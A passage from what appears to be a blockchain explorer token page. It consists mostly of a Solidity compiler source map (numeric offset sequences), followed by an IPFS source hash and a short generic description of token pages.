2:16:0;18908:40;;18977:4;18959;18964:1;18959:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;18959:23:0;;;:7;;;;;;;;;;:23;;;;19003:15;;:22;;;-1:-1:-1;;;19003:22:0;;;;:15;;;;;:20;;:22;;;;;18959:7;;19003:22;;;;;:15;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;18993:4;18998:1;18993:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;18993:32:0;;;:7;;;;;;;;;:32;19068:15;;19036:62;;19053:4;;19068:15;19086:11;19036:8;:62::i;:::-;19109:15;;:197;;-1:-1:-1;;;19109:197:0;;-1:-1:-1;;;;;19109:15:0;;;;:66;;:197;;19190:11;;19109:15;;19233:4;;19260;;19280:15;;19109:197;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;18895:419;18840:474;:::o;18469:120::-;18554:23;;-1:-1:-1;;;;;18554:15:0;;;:23;;;;;18570:6;;18554:23;;;;18570:6;18554:15;:23;;;;;;;;;;;;;;;;;;;;;18469:120;;:::o;16043:303::-;16088:10;;:15;:31;;;;-1:-1:-1;16107:7:0;;:12;16088:31;:48;;;;-1:-1:-1;16123:8:0;;:13;16088:48;16085:60;;;16043:303::o;16085:60::-;16171:7;;;16159:9;:19;16207:8;;;16194:10;:21;16246:10;;;16231:12;:25;-1:-1:-1;16271:11:0;;;;16297:12;;;;16324:14;16043:303::o;19688:458::-;19787:17;19806:19;19829:31;19840:8;19850:9;19829:10;:31::i;:::-;-1:-1:-1;;;;;19893:19:0;;;;;;:11;:19;;;;;;19786:74;;-1:-1:-1;19786:74:0;-1:-1:-1;19893:33:0;;19917:8;19893:23;:33::i;:::-;-1:-1:-1;;;;;19871:19:0;;;;;;;:11;:19;;;;;;:55;;;;19963:22;;;;;;;:37;;19990:9;19963:26;:37::i;:::-;-1:-1:-1;;;;;19937:22:0;;;;;;:11;:22;;;;;;:64;;;;20061:4;20041:26;;;;:43;;20072:11;20041:30;:43::i;:::-;20032:4;20012:26;;;;:11;:26;;;;;;;;;:72;;;;20100:38;713:25:1;;;-1:-1:-1;;;;;20100:38:0;;;;;;;;;;686:18:1;20100:38:0;;;;;;;19775:371;;19688:458;;;:::o;16358:195::-;16417:12;;16404:10;:25;16450:9;;16440:7;:19;16482:63;;;;;;;;16483:10;;16482:63;;16494:11;;16482:63;16494:11;;;;;;16495:4;16494:11;;;;16482:63;;;;;;;16507:22;;-1:-1:-1;;;16507:22:0;;16482:63;16507:22;:37;;16539:5;;-1:-1:-1;;;16539:5:0;;;;16507:37;;;16532:4;;-1:-1:-1;;;16532:4:0;;;;16507:37;16482:63;;;;;;;;;:::i;:::-;;;;;16471:8;:74;16358:195::o;20156:367::-;20235:7;20244;20264:19;20306:3;20295:10;;20286:8;:19;;;;:::i;:::-;:23;;;;:::i;:::-;-1:-1:-1;;;;;20350:27:0;;20320:12;20350:27;;;:16;:27;;;;;;20264:45;;-1:-1:-1;20320:12:0;20336:45;;20379:1;20350:27;;;;:30;;20336:13;:45::i;:::-;20320:61;;20392:17;20412:61;20444:28;;;;;;;;20445:1;20444:28;;;;20447:16;;20444:28;;;20465:6;20444:28;;;;;;;;;:::i;:::-;;;;;20413:25;:8;20426:11;20413:12;:25::i;20412:61::-;20392:81;20503:11;;-1:-1:-1;20156:367:0;;-1:-1:-1;;;;;20156:367:0:o;1079:98::-;1137:7;1164:5;1168:1;1164;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;749:131::-;-1:-1:-1;;;;;824:31:1;;814:42;;804:70;;870:1;867;860:12;804:70;749:131;:::o;885:315::-;953:6;961;1014:2;1002:9;993:7;989:23;985:32;982:52;;;1030:1;1027;1020:12;982:52;1069:9;1056:23;1088:31;1113:5;1088:31;:::i;:::-;1138:5;1190:2;1175:18;;;;1162:32;;-1:-1:-1;;;885:315:1:o;1631:247::-;1690:6;1743:2;1731:9;1722:7;1718:23;1714:32;1711:52;;;1759:1;1756;1749:12;1711:52;1798:9;1785:23;1817:31;1842:5;1817:31;:::i;2072:456::-;2149:6;2157;2165;2218:2;2206:9;2197:7;2193:23;2189:32;2186:52;;;2234:1;2231;2224:12;2186:52;2273:9;2260:23;2292:31;2317:5;2292:31;:::i;:::-;2342:5;-1:-1:-1;2399:2:1;2384:18;;2371:32;2412:33;2371:32;2412:33;:::i;:::-;2072:456;;2464:7;;-1:-1:-1;;;2518:2:1;2503:18;;;;2490:32;;2072:456::o;2741:273::-;2797:6;2850:2;2838:9;2829:7;2825:23;2821:32;2818:52;;;2866:1;2863;2856:12;2818:52;2905:9;2892:23;2958:5;2951:13;2944:21;2937:5;2934:32;2924:60;;2980:1;2977;2970:12;3019:388;3087:6;3095;3148:2;3136:9;3127:7;3123:23;3119:32;3116:52;;;3164:1;3161;3154:12;3116:52;3203:9;3190:23;3222:31;3247:5;3222:31;:::i;:::-;3272:5;-1:-1:-1;3329:2:1;3314:18;;3301:32;3342:33;3301:32;3342:33;:::i;:::-;3394:7;3384:17;;;3019:388;;;;;:::o;3412:380::-;3491:1;3487:12;;;;3534;;;3555:61;;3609:4;3601:6;3597:17;3587:27;;3555:61;3662:2;3654:6;3651:14;3631:18;3628:38;3625:161;;3708:10;3703:3;3699:20;3696:1;3689:31;3743:4;3740:1;3733:15;3771:4;3768:1;3761:15;3625:161;;3412:380;;;:::o;4158:127::-;4219:10;4214:3;4210:20;4207:1;4200:31;4250:4;4247:1;4240:15;4274:4;4271:1;4264:15;4697:127;4758:10;4753:3;4749:20;4746:1;4739:31;4789:4;4786:1;4779:15;4813:4;4810:1;4803:15;4829:168;4869:7;4935:1;4931;4927:6;4923:14;4920:1;4917:21;4912:1;4905:9;4898:17;4894:45;4891:71;;;4942:18;;:::i;:::-;-1:-1:-1;4982:9:1;;4829:168::o;5002:217::-;5042:1;5068;5058:132;;5112:10;5107:3;5103:20;5100:1;5093:31;5147:4;5144:1;5137:15;5175:4;5172:1;5165:15;5058:132;-1:-1:-1;5204:9:1;;5002:217::o;6789:125::-;6854:9;;;6875:10;;;6872:36;;;6888:18;;:::i;6919:175::-;6956:3;7000:4;6993:5;6989:16;7029:4;7020:7;7017:17;7014:43;;7037:18;;:::i;:::-;7086:1;7073:15;;6919:175;-1:-1:-1;;6919:175:1:o;7231:251::-;7301:6;7354:2;7342:9;7333:7;7329:23;7325:32;7322:52;;;7370:1;7367;7360:12;7322:52;7402:9;7396:16;7421:31;7446:5;7421:31;:::i;7487:980::-;7749:4;7797:3;7786:9;7782:19;7828:6;7817:9;7810:25;7854:2;7892:6;7887:2;7876:9;7872:18;7865:34;7935:3;7930:2;7919:9;7915:18;7908:31;7959:6;7994;7988:13;8025:6;8017;8010:22;8063:3;8052:9;8048:19;8041:26;;8102:2;8094:6;8090:15;8076:29;;8123:1;8133:195;8147:6;8144:1;8141:13;8133:195;;;8212:13;;-1:-1:-1;;;;;8208:39:1;8196:52;;8303:15;;;;8268:12;;;;8244:1;8162:9;8133:195;;;-1:-1:-1;;;;;;;8384:32:1;;;;8379:2;8364:18;;8357:60;-1:-1:-1;;;8448:3:1;8433:19;8426:35;8345:3;7487:980;-1:-1:-1;;;7487:980:1:o;8472:128::-;8539:9;;;8560:11;;;8557:37;;;8574:18;;:::i

Swarm Source

ipfs://70ef6677aafb5087550a42154ac94cf6d1ef77b2e9d39cc2074460221d6f31e2
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.